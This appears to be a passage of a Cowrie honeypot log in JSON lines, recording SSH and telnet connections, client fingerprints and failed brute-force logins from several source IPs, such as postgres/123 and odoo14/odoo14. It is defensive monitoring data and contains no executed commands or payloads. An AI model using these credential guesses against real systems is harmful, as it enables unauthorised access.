{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.457997Z","src_ip":"176.65.132.254","session":"66b595e68fe3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.705745Z","src_ip":"176.65.132.254","session":"66b595e68fe3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":50406,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd34a3837a82","protocol":"telnet","message":"New connection: 62.210.97.77:50406 (10.17.0.5:23) [session: fd34a3837a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:25.978653Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:26.793598Z","src_ip":"176.65.132.254","session":"66b595e68fe3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.08580780029297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:28.026643Z","src_ip":"136.144.139.78","session":"dcdb1bab92cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35470,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7503fcb9d68","protocol":"telnet","message":"New connection: 62.210.97.77:35470 (10.17.0.5:23) [session: e7503fcb9d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:28.663905Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":58864,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dac76703fb8","protocol":"telnet","message":"New connection: 136.144.139.78:58864 (159.203.135.109:23) [session: 5dac76703fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:28.841479Z"}
{"eventid":"cowrie.session.closed","duration":37.85575842857361,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:29.446563Z","src_ip":"62.210.97.77","session":"70bd0260591b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"08054df4f350","protocol":"ssh","message":"New connection: 176.65.132.254:54096 (10.17.0.5:22) [session: 08054df4f350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:29.658351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:29.662443Z","src_ip":"176.65.132.254","session":"08054df4f350","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:29.744915Z","src_ip":"176.65.132.254","session":"08054df4f350","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"webuser","message":"login attempt [webuser/webuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:30.000305Z","src_ip":"176.65.132.254","session":"08054df4f350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.73749041557312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:30.245724Z","src_ip":"136.144.139.78","session":"72790d3f9511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98012614250183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:30.658495Z","src_ip":"136.144.139.78","session":"3c2095e2158f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.69519662857056,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:30.992845Z","src_ip":"38.54.119.93","session":"60f1b507ecc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:31.085327Z","src_ip":"176.65.132.254","session":"08054df4f350","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.765616416931152,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:32.440942Z","src_ip":"134.209.8.29","session":"832db18cf4b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00657677650452,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.175784Z","src_ip":"62.210.97.77","session":"eb76aa4ec724","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.85707402229309,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.304369Z","src_ip":"62.210.97.77","session":"39672856143b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.40556812286377,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.585357Z","src_ip":"62.210.97.77","session":"589dc81eeaa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40506,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ddb841a93c8","protocol":"ssh","message":"New connection: 176.65.132.254:40506 (10.17.0.5:22) [session: 1ddb841a93c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.881651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.886131Z","src_ip":"176.65.132.254","session":"1ddb841a93c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:33.970694Z","src_ip":"176.65.132.254","session":"1ddb841a93c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.40903115272522,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:34.078062Z","src_ip":"62.210.97.77","session":"26c1750fa7bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"amp","password":"amp","message":"login attempt [amp/amp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:34.236982Z","src_ip":"176.65.132.254","session":"1ddb841a93c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.711313009262085,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:34.660386Z","src_ip":"134.209.8.29","session":"0ba564acce4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35472,"dst_ip":"10.17.0.5","dst_port":23,"session":"88af5dc6e3f5","protocol":"telnet","message":"New connection: 62.210.97.77:35472 (10.17.0.5:23) [session: 88af5dc6e3f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:34.905973Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:35.349051Z","src_ip":"176.65.132.254","session":"1ddb841a93c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":56606,"dst_ip":"10.17.0.5","dst_port":23,"session":"5eb5252db73e","protocol":"telnet","message":"New connection: 165.232.131.181:56606 (10.17.0.5:23) [session: 5eb5252db73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:35.353338Z"}
{"eventid":"cowrie.session.connect","src_ip":"136.144.139.78","src_port":60846,"dst_ip":"159.203.135.109","dst_port":23,"session":"21588412d2c1","protocol":"telnet","message":"New connection: 136.144.139.78:60846 (159.203.135.109:23) [session: 21588412d2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:35.559480Z"}
{"eventid":"cowrie.session.closed","duration":120.00221943855286,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:36.816257Z","src_ip":"86.176.226.106","session":"8978f05e803f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.936150312423706,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:37.314873Z","src_ip":"65.60.27.33","session":"477537326619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":35478,"dst_ip":"10.17.0.5","dst_port":23,"session":"93252f882eab","protocol":"telnet","message":"New connection: 62.210.97.77:35478 (10.17.0.5:23) [session: 93252f882eab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:37.421458Z"}
{"eventid":"cowrie.session.closed","duration":36.99943518638611,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:37.953309Z","src_ip":"62.210.97.77","session":"0b40e683a720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40522,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3ae22614d6a","protocol":"ssh","message":"New connection: 176.65.132.254:40522 (10.17.0.5:22) [session: a3ae22614d6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:37.980966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:37.984611Z","src_ip":"176.65.132.254","session":"a3ae22614d6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:38.067168Z","src_ip":"176.65.132.254","session":"a3ae22614d6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.395323991775513,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:38.527245Z","src_ip":"62.210.97.77","session":"b5b7ecd179e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56784,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d2f26a5fa15","protocol":"telnet","message":"New connection: 62.210.97.77:56784 (10.17.0.5:23) [session: 6d2f26a5fa15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:38.567251Z"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123","message":"login attempt [postgres/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:38.586438Z","src_ip":"176.65.132.254","session":"a3ae22614d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b8a4c87db74","protocol":"telnet","message":"New connection: 62.210.97.77:56792 (10.17.0.5:23) [session: 2b8a4c87db74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:38.882241Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56816,"dst_ip":"10.17.0.5","dst_port":23,"session":"00579019b00b","protocol":"telnet","message":"New connection: 62.210.97.77:56816 (10.17.0.5:23) [session: 00579019b00b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:39.041653Z"}
{"eventid":"cowrie.session.closed","duration":37.93140983581543,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:39.054758Z","src_ip":"65.60.27.33","session":"461d0f47b078","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56832,"dst_ip":"10.17.0.5","dst_port":23,"session":"12956bd09330","protocol":"telnet","message":"New connection: 62.210.97.77:56832 (10.17.0.5:23) [session: 12956bd09330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:39.539045Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:39.675185Z","src_ip":"176.65.132.254","session":"a3ae22614d6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56808,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ab8b69eff6","protocol":"telnet","message":"New connection: 62.210.97.77:56808 (10.17.0.5:23) [session: 42ab8b69eff6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:39.981321Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56848,"dst_ip":"10.17.0.5","dst_port":23,"session":"13124ddfc177","protocol":"telnet","message":"New connection: 62.210.97.77:56848 (10.17.0.5:23) [session: 13124ddfc177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:41.934240Z"}
{"eventid":"cowrie.session.closed","duration":30.191400289535522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.056347Z","src_ip":"136.144.139.78","session":"9ff38147648b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":51316,"dst_ip":"10.17.0.5","dst_port":22,"session":"01cd7951b403","protocol":"ssh","message":"New connection: 176.65.132.254:51316 (10.17.0.5:22) [session: 01cd7951b403]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.239486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.373604Z","src_ip":"176.65.132.254","session":"01cd7951b403","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.379909Z","src_ip":"176.65.132.254","session":"01cd7951b403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":60486,"dst_ip":"159.203.135.109","dst_port":23,"session":"13b0948bec33","protocol":"telnet","message":"New connection: 134.209.8.29:60486 (159.203.135.109:23) [session: 13b0948bec33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.763133Z"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:42.864210Z","src_ip":"176.65.132.254","session":"01cd7951b403","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"844a54ab9220","protocol":"telnet","message":"New connection: 65.60.27.33:40576 (10.17.0.5:23) [session: 844a54ab9220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:43.023258Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:43.951415Z","src_ip":"176.65.132.254","session":"01cd7951b403","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.921491384506226,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:44.182863Z","src_ip":"62.210.97.77","session":"b9da6f8dc23e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00270652770996,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:45.567318Z","src_ip":"86.176.226.106","session":"26bccca1656b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":56852,"dst_ip":"10.17.0.5","dst_port":23,"session":"53d806262fd3","protocol":"telnet","message":"New connection: 62.210.97.77:56852 (10.17.0.5:23) [session: 53d806262fd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:45.691240Z"}
{"eventid":"cowrie.session.closed","duration":51.27702856063843,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T19:19:46.433794Z","src_ip":"165.232.131.181","session":"d89d9e291f9b","protocol":"telnet"}
